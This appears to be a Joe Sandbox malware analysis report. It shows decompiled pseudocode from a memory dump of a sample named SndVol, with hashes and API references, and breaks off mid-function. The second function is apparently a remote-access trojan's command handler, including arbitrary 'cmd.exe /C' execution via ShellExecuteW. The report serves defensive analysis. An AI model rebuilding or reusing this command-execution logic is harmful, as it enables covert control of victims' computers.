                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ErrorFreeHeapLast
                                    • String ID:
                                    • API String ID: 776569668-0
                                    • Opcode ID: 24d92841da83fb7def2b37d9385adf34fcb32afdec168f981d9737e382994ccf
                                    • Instruction ID: 5c3c7959d717f60cffcafa2a9c124570948c0db1a07a4dff83bbc7c1fde077ac
                                    • Opcode Fuzzy Hash: 24d92841da83fb7def2b37d9385adf34fcb32afdec168f981d9737e382994ccf
                                    • Instruction Fuzzy Hash: 5AF017B18005208FA721AF29BD524093B66B715720346413BF51C62A74C77949C2CBCE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044E5B9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 72%
                                    			E0044E5B9(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t137;
				void* _t139;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				signed int _t147;
				signed int* _t148;
				signed int _t151;
				void* _t154;
				CHAR* _t155;
				char _t158;
				char _t160;
				intOrPtr* _t163;
				void* _t164;
				intOrPtr* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				intOrPtr* _t184;
				void* _t193;
				intOrPtr _t194;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t202;
				union _FINDEX_INFO_LEVELS _t203;
				signed int _t208;
				signed int _t210;
				signed int _t211;
				void* _t213;
				intOrPtr _t214;
				void* _t215;
				signed int _t219;
				void* _t221;
				signed int _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				signed int _t226;
				void* _t227;
				void* _t228;

				_t80 = _a8;
				_t224 = _t223 - 0x20;
				if(_t80 != 0) {
					_t208 = _a4;
					_t160 = 0;
					 *_t80 = 0;
					_t199 = 0;
					_t151 = 0;
					_v36 = 0;
					_v336.cAlternateFileName = 0;
					_v28 = 0;
					__eflags =  *_t208;
					if( *_t208 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t151 - _t199;
						_v8 = _t160;
						_t191 = (_t82 >> 2) + 1;
						__eflags = _t151 - _t199;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t210 =  !_t208 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t210;
						if(_t210 != 0) {
							_t197 = _t199;
							_t158 = _t160;
							do {
								_t184 =  *_t197;
								_t17 = _t184 + 1; // 0x1
								_v8 = _t17;
								do {
									_t143 =  *_t184;
									_t184 = _t184 + 1;
									__eflags = _t143;
								} while (_t143 != 0);
								_t158 = _t158 + 1 + _t184 - _v8;
								_t197 = _t197 + 4;
								_t145 = _v12 + 1;
								_v12 = _t145;
								__eflags = _t145 - _t210;
							} while (_t145 != _t210);
							_t191 = _v16;
							_v8 = _t158;
							_t151 = _v336.cAlternateFileName;
						}
						_t211 = E0044363D(_t191, _v8, 1);
						_t225 = _t224 + 0xc;
						__eflags = _t211;
						if(_t211 != 0) {
							_t87 = _t211 + _v16 * 4;
							_v20 = _t87;
							_t192 = _t87;
							_v16 = _t87;
							__eflags = _t199 - _t151;
							if(_t199 == _t151) {
								L23:
								_t200 = 0;
								__eflags = 0;
								 *_a8 = _t211;
								goto L24;
							} else {
								_t93 = _t211 - _t199;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t163 =  *_t199;
									_v12 = _t163 + 1;
									do {
										_t95 =  *_t163;
										_t163 = _t163 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t164 = _t163 - _v12;
									_t35 = _t164 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E00441983(_t164, _t192, _v20 - _t192 + _v8,  *_t199);
									_t225 = _t225 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E0043BC69();
										asm("int3");
										_t221 = _t225;
										_push(_t164);
										_t165 = _v64;
										_t47 = _t165 + 1; // 0x1
										_t193 = _t47;
										do {
											_t103 =  *_t165;
											_t165 = _t165 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t199);
										_t202 = _a8;
										_t167 = _t165 - _t193 + 1;
										_v12 = _t167;
										__eflags = _t167 - (_t103 | 0xffffffff) - _t202;
										if(_t167 <= (_t103 | 0xffffffff) - _t202) {
											_push(_t151);
											_t50 = _t202 + 1; // 0x1
											_t154 = _t50 + _t167;
											_t213 = E00445A43(_t167, _t154, 1);
											_t169 = _t211;
											__eflags = _t202;
											if(_t202 == 0) {
												L34:
												_push(_v12);
												_t154 = _t154 - _t202;
												_t108 = E00441983(_t169, _t213 + _t202, _t154, _v0);
												_t226 = _t225 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t137 = E0044E988(_a12, __eflags, _t213);
													E00446652(0);
													_t139 = _t137;
													goto L36;
												}
											} else {
												_push(_t202);
												_t140 = E00441983(_t169, _t213, _t154, _a4);
												_t226 = _t225 + 0x10;
												__eflags = _t140;
												if(_t140 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E0043BC69();
													asm("int3");
													_push(_t221);
													_t222 = _t226;
													_t227 = _t226 - 0x150;
													_t111 =  *0x47100c; // 0xbb2d687
													_v116 = _t111 ^ _t222;
													_t170 = _v100;
													_push(_t154);
													_t155 = _v104;
													_push(_t213);
													_t214 = _v96;
													_push(_t202);
													_v440 = _t214;
													while(1) {
														__eflags = _t170 - _t155;
														if(_t170 == _t155) {
															break;
														}
														_t113 =  *_t170;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
																	_t170 = E004561D0(_t155, _t170);
																	continue;
																}
															}
														}
														break;
													}
													_t194 =  *_t170;
													__eflags = _t194 - 0x3a;
													if(_t194 != 0x3a) {
														L47:
														_t203 = 0;
														__eflags = _t194 - 0x2f;
														if(_t194 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t194 - 0x5c;
															if(_t194 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t194 - 0x3a;
																if(_t194 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t170 - _t155 + 0x00000001;
														E00436DE0(_t203,  &_v336, _t203, 0x140);
														_t228 = _t227 + 0xc;
														_t215 = FindFirstFileExA(_t155, _t203,  &_v336, _t203, _t203, _t203);
														_t123 = _v340;
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															_t174 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t174;
															_v348 = _t174 >> 2;
															do {
																__eflags = _v336.cFileName - 0x2e;
																if(_v336.cFileName != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &(_v336.cFileName);
																	_push(_t155);
																	_push(_t123);
																	L28();
																	_t228 = _t228 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t178 = _v291;
																	__eflags = _t178;
																	if(_t178 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t178 - 0x2e;
																		if(_t178 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 = FindNextFileA(_t215,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t195 =  *_t123;
															_t179 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t179 - _t131;
															if(_t179 != _t131) {
																E00440F50(_t155, _t203, _t215, _t195 + _t179 * 4, _t131 - _t179, 4, E0044E5A1);
															}
														} else {
															_push(_t123);
															_push(_t203);
															_push(_t203);
															_push(_t155);
															L28();
															L54:
															_t203 = _t123;
														}
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															FindClose(_t215);
														}
													} else {
														__eflags = _t170 -  &(_t155[1]);
														if(_t170 ==  &(_t155[1])) {
															goto L47;
														} else {
															_push(_t214);
															_push(0);
															_push(0);
															_push(_t155);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t222;
													return E00434F3B(_v16 ^ _t222);
												} else {
													goto L34;
												}
											}
										} else {
											_t139 = 0xc;
											L36:
											return _t139;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t196 = _v16;
									 *((intOrPtr*)(_v24 + _t199)) = _t196;
									_t199 = _t199 + 4;
									_t192 = _t196 + _v12;
									_v16 = _t196 + _v12;
									__eflags = _t199 - _t151;
								} while (_t199 != _t151);
								goto L23;
							}
						} else {
							_t200 = _t199 | 0xffffffff;
							L24:
							E00446652(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t160;
							_t147 = E00456190( *_t208,  &_v8);
							__eflags = _t147;
							if(_t147 != 0) {
								_push( &_v36);
								_push(_t147);
								_push( *_t208);
								L38();
								_t224 = _t224 + 0xc;
							} else {
								_t147 =  &_v36;
								_push(_t147);
								_push(0);
								_push(0);
								_push( *_t208);
								L28();
								_t224 = _t224 + 0x10;
							}
							_t200 = _t147;
							__eflags = _t200;
							if(_t200 != 0) {
								break;
							}
							_t208 = _t208 + 4;
							_t160 = 0;
							__eflags =  *_t208;
							if( *_t208 != 0) {
								continue;
							} else {
								_t151 = _v336.cAlternateFileName;
								_t199 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E0044E963( &_v36);
						_t91 = _t200;
						goto L26;
					}
				} else {
					_t148 = E0044052D();
					_t219 = 0x16;
					 *_t148 = _t219;
					E0043BC3C();
					_t91 = _t219;
					L26:
					return _t91;
				}
				L68:
			}





















































































                                    0x0044e5be
                                    0x0044e5c1
                                    0x0044e5c7
                                    0x0044e5df
                                    0x0044e5e2
                                    0x0044e5e6
                                    0x0044e5e8
                                    0x0044e5ea
                                    0x0044e5ec
                                    0x0044e5ef
                                    0x0044e5f2
                                    0x0044e5f5
                                    0x0044e5f7
                                    0x0044e64f
                                    0x0044e64f
                                    0x0044e655
                                    0x0044e657
                                    0x0044e662
                                    0x0044e666
                                    0x0044e668
                                    0x0044e66b
                                    0x0044e66f
                                    0x0044e66f
                                    0x0044e671
                                    0x0044e673
                                    0x0044e675
                                    0x0044e677
                                    0x0044e677
                                    0x0044e679
                                    0x0044e67c
                                    0x0044e67f
                                    0x0044e67f
                                    0x0044e681
                                    0x0044e682
                                    0x0044e682
                                    0x0044e68d
                                    0x0044e68f
                                    0x0044e692
                                    0x0044e693
                                    0x0044e696
                                    0x0044e696
                                    0x0044e69a
                                    0x0044e69d
                                    0x0044e6a0
                                    0x0044e6a0
                                    0x0044e6ae
                                    0x0044e6b0
                                    0x0044e6b3
                                    0x0044e6b5
                                    0x0044e6bf
                                    0x0044e6c2
                                    0x0044e6c5
                                    0x0044e6c7
                                    0x0044e6ca
                                    0x0044e6cc
                                    0x0044e71c
                                    0x0044e71f
                                    0x0044e71f
                                    0x0044e721
                                    0x00000000
                                    0x0044e6ce
                                    0x0044e6d0
                                    0x0044e6d0
                                    0x0044e6d2
                                    0x0044e6d5
                                    0x0044e6d5
                                    0x0044e6da
                                    0x0044e6dd
                                    0x0044e6dd
                                    0x0044e6df
                                    0x0044e6e0
                                    0x0044e6e0
                                    0x0044e6e4
                                    0x0044e6e7
                                    0x0044e6e7
                                    0x0044e6ea
                                    0x0044e6ed
                                    0x0044e6fa
                                    0x0044e6ff
                                    0x0044e702
                                    0x0044e704
                                    0x0044e73e
                                    0x0044e73f
                                    0x0044e740
                                    0x0044e741
                                    0x0044e742
                                    0x0044e743
                                    0x0044e748
                                    0x0044e74c
                                    0x0044e74e
                                    0x0044e74f
                                    0x0044e752
                                    0x0044e752
                                    0x0044e755
                                    0x0044e755
                                    0x0044e757
                                    0x0044e758
                                    0x0044e758
                                    0x0044e761
                                    0x0044e762
                                    0x0044e765
                                    0x0044e768
                                    0x0044e76b
                                    0x0044e76d
                                    0x0044e774
                                    0x0044e776
                                    0x0044e779
                                    0x0044e783
                                    0x0044e786
                                    0x0044e787
                                    0x0044e789
                                    0x0044e79d
                                    0x0044e79d
                                    0x0044e7a0
                                    0x0044e7aa
                                    0x0044e7af
                                    0x0044e7b2
                                    0x0044e7b4
                                    0x00000000
                                    0x0044e7b6
                                    0x0044e7ba
                                    0x0044e7c3
                                    0x0044e7c9
                                    0x00000000
                                    0x0044e7cc
                                    0x0044e78b
                                    0x0044e78b
                                    0x0044e791
                                    0x0044e796
                                    0x0044e799
                                    0x0044e79b
                                    0x0044e7d2
                                    0x0044e7d4
                                    0x0044e7d5
                                    0x0044e7d6
                                    0x0044e7d7
                                    0x0044e7d8
                                    0x0044e7d9
                                    0x0044e7de
                                    0x0044e7e1
                                    0x0044e7e2
                                    0x0044e7e4
                                    0x0044e7ea
                                    0x0044e7f1
                                    0x0044e7f4
                                    0x0044e7f7
                                    0x0044e7f8
                                    0x0044e7fb
                                    0x0044e7fc
                                    0x0044e7ff
                                    0x0044e800
                                    0x0044e821
                                    0x0044e821
                                    0x0044e823
                                    0x00000000
                                    0x00000000
                                    0x0044e808
                                    0x0044e80a
                                    0x0044e80c
                                    0x0044e80e
                                    0x0044e810
                                    0x0044e812
                                    0x0044e814
                                    0x0044e81f
                                    0x00000000
                                    0x0044e81f
                                    0x0044e814
                                    0x0044e810
                                    0x00000000
                                    0x0044e80c
                                    0x0044e825
                                    0x0044e827
                                    0x0044e82a
                                    0x0044e843
                                    0x0044e843
                                    0x0044e845
                                    0x0044e848
                                    0x0044e858
                                    0x0044e85a
                                    0x0044e85a
                                    0x0044e84a
                                    0x0044e84a
                                    0x0044e84d
                                    0x00000000
                                    0x0044e84f
                                    0x0044e84f
                                    0x0044e852
                                    0x00000000
                                    0x0044e854
                                    0x0044e854
                                    0x0044e854
                                    0x0044e852
                                    0x0044e84d
                                    0x0044e868
                                    0x0044e86c
                                    0x0044e87a
                                    0x0044e87f
                                    0x0044e894
                                    0x0044e896
                                    0x0044e89c
                                    0x0044e89f
                                    0x0044e8d1
                                    0x0044e8d1
                                    0x0044e8d6
                                    0x0044e8dc
                                    0x0044e8dc
                                    0x0044e8e3
                                    0x0044e8fd
                                    0x0044e8fd
                                    0x0044e8fe
                                    0x0044e904
                                    0x0044e90a
                                    0x0044e90b
                                    0x0044e90c
                                    0x0044e911
                                    0x0044e914
                                    0x0044e916
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044e8e5
                                    0x0044e8e5
                                    0x0044e8eb
                                    0x0044e8ed
                                    0x00000000
                                    0x0044e8ef
                                    0x0044e8ef
                                    0x0044e8f2
                                    0x00000000
                                    0x0044e8f4
                                    0x0044e8f4
                                    0x0044e8fb
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044e8fb
                                    0x0044e8f2
                                    0x0044e8ed
                                    0x00000000
                                    0x0044e918
                                    0x0044e920
                                    0x0044e926
                                    0x0044e928
                                    0x0044e928
                                    0x0044e930
                                    0x0044e935
                                    0x0044e93d
                                    0x0044e940
                                    0x0044e942
                                    0x0044e956
                                    0x0044e95b
                                    0x0044e8a1
                                    0x0044e8a1
                                    0x0044e8a2
                                    0x0044e8a3
                                    0x0044e8a4
                                    0x0044e8a5
                                    0x0044e8ad
                                    0x0044e8ad
                                    0x0044e8ad
                                    0x0044e8af
                                    0x0044e8b2
                                    0x0044e8b5
                                    0x0044e8b5
                                    0x0044e82c
                                    0x0044e82f
                                    0x0044e831
                                    0x00000000
                                    0x0044e833
                                    0x0044e833
                                    0x0044e836
                                    0x0044e837
                                    0x0044e838
                                    0x0044e839
                                    0x0044e83e
                                    0x0044e831
                                    0x0044e8bd
                                    0x0044e8c2
                                    0x0044e8cd
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044e79b
                                    0x0044e76f
                                    0x0044e771
                                    0x0044e7cd
                                    0x0044e7d1
                                    0x0044e7d1
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044e706
                                    0x0044e709
                                    0x0044e70c
                                    0x0044e70f
                                    0x0044e712
                                    0x0044e715
                                    0x0044e718
                                    0x0044e718
                                    0x00000000
                                    0x0044e6d5
                                    0x0044e6b7
                                    0x0044e6b7
                                    0x0044e723
                                    0x0044e725
                                    0x00000000
                                    0x0044e72a
                                    0x0044e5f9
                                    0x0044e5f9
                                    0x0044e5fc
                                    0x0044e605
                                    0x0044e608
                                    0x0044e60f
                                    0x0044e611
                                    0x0044e62a
                                    0x0044e62b
                                    0x0044e62c
                                    0x0044e62e
                                    0x0044e633
                                    0x0044e613
                                    0x0044e613
                                    0x0044e616
                                    0x0044e617
                                    0x0044e619
                                    0x0044e61b
                                    0x0044e61d
                                    0x0044e622
                                    0x0044e622
                                    0x0044e636
                                    0x0044e638
                                    0x0044e63a
                                    0x00000000
                                    0x00000000
                                    0x0044e640
                                    0x0044e643
                                    0x0044e645
                                    0x0044e647
                                    0x00000000
                                    0x0044e649
                                    0x0044e649
                                    0x0044e64c
                                    0x00000000
                                    0x0044e64c
                                    0x00000000
                                    0x0044e647
                                    0x0044e72b
                                    0x0044e72e
                                    0x0044e733
                                    0x00000000
                                    0x0044e736
                                    0x0044e5c9
                                    0x0044e5c9
                                    0x0044e5d0
                                    0x0044e5d1
                                    0x0044e5d3
                                    0x0044e5d8
                                    0x0044e737
                                    0x0044e73b
                                    0x0044e73b
                                    0x00000000

                                    APIs
                                    • _strpbrk.LIBCMT ref: 0044E608
                                    • _free.LIBCMT ref: 0044E725
                                      • Part of subcall function 0043BC69: IsProcessorFeaturePresent.KERNEL32(00000017,0043BC3B,00405103,?,00000000,00000000,004020A6,00000000,00000000,?,0043BC5B,00000000,00000000,00000000,00000000,00000000), ref: 0043BC6B
                                      • Part of subcall function 0043BC69: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BC8D
                                      • Part of subcall function 0043BC69: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BC94
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                    • String ID: *?$.
                                    • API String ID: 2812119850-3972193922
                                    • Opcode ID: 953ade1eaee2fe91f1041e702ec1c097f3b8de92aef54e7f0a6f9603ef5a3565
                                    • Instruction ID: d8519ab8292c55b2898a0f9a86c270d7277ef0cf75f68c45cbf10d21941d55d8
                                    • Opcode Fuzzy Hash: 953ade1eaee2fe91f1041e702ec1c097f3b8de92aef54e7f0a6f9603ef5a3565
                                    • Instruction Fuzzy Hash: 4751C371E00209AFEF14CFAAC881AAEF7B5FF58314F25416EE444E7341E6399E018B54
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00415A38 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E00415A38(void* __ebx, CHAR* __edx, void* __edi, void* __eflags, intOrPtr _a4, char _a61) {
				char _v3;
				char _v32;
				char _v56;
				void* _v60;
				void* _v84;
				char _v188;
				char _v192;
				char _v200;
				char _v212;
				char _v216;
				char _v228;
				char _v232;
				char _v236;
				char _v264;
				void* _v268;
				char _v276;
				char _v284;
				char _v288;
				char _v292;
				char _v300;
				char _v308;
				char _v312;
				void* _v316;
				char _v324;
				char _v336;
				char* _v344;
				long _v348;
				void* _v352;
				char _v364;
				void* _v368;
				char _v376;
				char _v380;
				char _v384;
				char _v392;
				char _v400;
				struct HWND__* _v404;
				void* _v408;
				char _v412;
				char _v416;
				void* _v420;
				char _v428;
				char _v432;
				char _v436;
				char _v440;
				char _v444;
				char _v448;
				char _v452;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				void* _v500;
				void* _v504;
				intOrPtr* _t314;
				intOrPtr _t419;
				void* _t421;
				signed int _t426;
				signed int _t428;
				void* _t431;
				void* _t432;
				void* _t433;

				_t436 = __eflags;
				_t405 = __edx;
				_t426 = _t428;
				_push(__ebx);
				_t419 = _a4;
				E004020F6(__ebx,  &_v308, __edx, __eflags, _t419 + 0xc);
				SetEvent( *(_t419 + 0x24));
				_t314 = E00401FAB( &_v312);
				E004041A2( &_v312,  &_v216, 4, 0xffffffff);
				_t431 = (_t428 & 0xfffffff8) - 0x1a4;
				E004020F6(__ebx, _t431, _t405, _t436, 0x474ee0);
				_t432 = _t431 - 0x18;
				E004020F6(__ebx, _t432, _t405, _t436,  &_v232);
				E0041BD6D( &_v468, _t405);
				_t433 = _t432 + 0x30;
				_t421 =  *_t314 - 1;
				if(_t421 > 0xcd) {
					L146:
					_t240 =  &_v444; // 0x404421
					E00401E8D(_t240, _t405);
					E00401FD8();
					E00401FD8();
					return 0;
				} else {
					switch( *((intOrPtr*)(( *(_t421 + 0x417140) & 0x000000ff) * 4 +  &M0041700C))) {
						case 0:
							_t327 = E0041BAE0(0,  &_v400, GetTickCount());
							_t329 = E0041BAE0(0,  &_v376, E0041BA38( &_v400));
							_t331 = E0041BC70(0,  &_v236, E0041B9E8(0,  &_v336, 0x474ee0));
							_t414 = E00402F10(0,  &_v436, E00402EA1( &_v56, E00402F10(0,  &_v32, E00402EA1( &_v288, E00402F31( &_v264, E00401E65( &_v444, _t330, _t426, _t437, 0), _t426, 0x474ee0), _t331), _t426, _t437, 0x474ee0), _t329), _t426, _t437, 0x474ee0);
							E00402EA1(_t433 - 0x18, _t337, _t327);
							_push(0x4c);
							E00404AA1(0x475598, _t337, _t437);
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401F09();
							E00401FD8();
							E00401FD8();
							_t351 = E0043B9FC(_t349, E00401FAB(E00401E65( &_v476, _t337, _t426, _t437, 1)));
							if(_t351 == 0) {
								E00401E65( &_v464, _t414, _t426, __eflags, 0);
								_t405 = "0";
								_t353 = E00405B05("0");
								__eflags = _t353;
								if(_t353 != 0) {
									_push(0);
									_t403 = 0x475598;
									goto L8;
								}
							} else {
								_t405 = _t351 + _t351;
								if(E004046F3(0x475598) == 0) {
									E00404F51(0x475598, _t405, 1);
								} else {
									E00404FF4(_t405);
								}
							}
							goto L146;
						case 1:
							_push(0);
							__ecx = 0x475598;
							L8:
							E004050E4(_t403, _t426);
							goto L146;
						case 2:
							__ecx =  &_v400;
							__eax = E0041C5E1(__ebx,  &_v400, __edx);
							__esp = __esp - 0x18;
							__edx = __eax;
							__ecx = __esp;
							__eax = E0041BC70(__ebx, __esp, __edx);
							_push(0x33);
							__ecx = 0x475598;
							__eax = E00404AA1(0x475598, __edx, __eflags);
							__ecx =  &_v428;
							goto L145;
						case 3:
							 &_v352 = GetCurrentProcessId();
							__eax = E00441DD1(__ecx, __eax,  &_v352, 0xa);
							__esp = __esp - 0xc;
							__eax =  &_v352;
							__esi = __esp;
							__ecx =  &_v376;
							__edx = E0040F84B(__ebx,  &_v376, __edx, __eflags);
							__ecx =  &_v400;
							__edx = __eax;
							__ecx = __esp;
							__eax = E00406383(__ebx, __esp, __edx, __edi, __ebp, __eflags,  &_v352);
							_push(0x4f);
							goto L22;
						case 4:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__ecx = __eax;
							__eax = E0041BAB3(__ecx);
							goto L146;
						case 5:
							L33:
							__eax = E00417855(__ebx);
							goto L146;
						case 6:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__eax = CloseWindow(__eax);
							goto L146;
						case 7:
							_push(3);
							goto L28;
						case 8:
							_push(9);
							goto L28;
						case 9:
							__eax =  &_v348;
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__ecx);
							__eax = GetWindowThreadProcessId(__eax,  &_v348);
							__ecx = _v352;
							__eax = E0041BAB3(_v352);
							goto L33;
						case 0xa:
							__ebx = 0;
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__eax = E00401FAB(__eax);
							__ecx =  &_v380;
							__eax = E0040417E(0,  &_v380, __edx, __ebp, __eax);
							__edx = L"/C ";
							__ecx =  &_v408;
							__ecx = __eax;
							__eax = ShellExecuteW(0, L"open", L"cmd.exe", __eax, 0, 0);
							__ecx =  &_v408;
							__eax = E00401F09();
							__ecx =  &_v384;
							goto L145;
						case 0xb:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 1);
							__ecx = 0x474f90;
							__eax = E00401FC0(0x474f90, __eax);
							__eflags =  *0x472ae7 - __bl; // 0x0
							if(__eflags == 0) {
								__ecx =  &_v444;
								__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
								__esp = __esp - 0x18;
								__ecx = __esp;
								__eax = E004020F6(__ebx, __ecx, __edx, __eflags, __eax);
								L0040569A();
								goto L14;
							}
							goto L146;
						case 0xc:
							__ebx = 0;
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							E00401FAB(__ecx) = ShellExecuteW(0, L"open", __eax, 0, 0, 1);
							goto L146;
						case 0xd:
							__ecx =  &_v444;
							__ecx = E00401E65( &_v444, __edx, __ebp, __eflags, 2);
							__eax = E00401FAB(__ecx);
							__eax = E0043B9FC(__ecx, __eax);
							__ecx =  &_v448;
							__esi = __eax;
							__eax = E00401E65( &_v448, __edx, __ebp, __eflags, 0);
							__ecx =  &_v440;
							__eax = E004020F6(__ebx,  &_v440, __edx, __eflags, __eax);
							__edx = "0";
							__ecx =  &_v444;
							__eax = E0040B90B(__eflags);
							__ecx =  &_v456;
							_push(4);
							__eflags = __al;
							if(__eflags == 0) {
								__eax = E00401E65( &_v456, __edx, __ebp, __eflags);
								__esp = __esp - 0x18;
								__ecx = __esp;
								__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
								__esp = __esp - 0x18;
								__eax =  &_v440;
								__ecx = __esp;
								__eax = E004020F6(__ebx, __esp, __edx, __eflags,  &_v440);
								__edi = 0x475798;
								__ecx = 0x475798;
								__eax = E004186C1(0x475798, __edx);
								_push(0);
							} else {
								__eax = E00401E65( &_v456, __edx, __ebp, __eflags);
								__esp = __esp - 0x18;
								__ecx = __esp;
								__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
								__esp = __esp - 0x18;
								__eax =  &_v440;
								__ecx = __esp;
								__eax = E004020F6(__ebx, __esp, __edx, __eflags,  &_v440);
								__edi = 0x4756e0;
								__ecx = 0x4756e0;
								__eax = E004186C1(0x4756e0, __edx);
								_push(1);
							}
							_push(__esi);
							__ecx =  &_v480;
							__ecx = E00401E65( &_v480, __edx, __ebp, __eflags, 3);
							__eax = E00401FAB(__ecx);
							__eax = E0043B9FC(__ecx, __eax);
							__eflags = __eax;
							__eax = __eax & 0xffffff00 | __eflags != 0x00000000;
							__ecx =  &_v484;
							__eax = __al & 0x000000ff;
							_push(__al & 0x000000ff);
							__ecx = E00401E65( &_v484, __edx, __ebp, __eflags, 1);
							__eax = E00401FAB(__ecx);
							_push(__eax);
							__ecx = __edi;
							__eax = E0041888E(__edi, __edx, __eflags);
							goto L10;
						case 0xe:
							__ecx =  &_v432;
							__eax = E0041B2D2( &_v432, __edx);
							__esp = __esp - 0x18;
							__eax =  &_v432;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags,  &_v432);
							_push(0x11);
							__ecx = 0x475598;
							__eax = E00404AA1(0x475598, __edx, __eflags);
							goto L10;
						case 0xf:
							__ecx =  &_v444;
							__eax = E00401E65( &_v444, __edx, __ebp, __eflags, 0);
							__esp = __esp - 0x18;
							__ecx = __esp;
							__eax = E004020F6(__ebx, __esp, __edx, __eflags, __eax);
							__ecx = 0x4750f0;
							__eax = E00409EA3(0x4750f0, __edx);
							goto L146;
						case 0x10:
							__ecx = 0x4750f0;
							__eax = E0040AE3C(0x4750f0, __edx);
							goto L146;
						case 0x11:
							__ecx = 0x4750f0;
							__eax = E0040AF9F(__ebx, 0x4750f0, __edx);
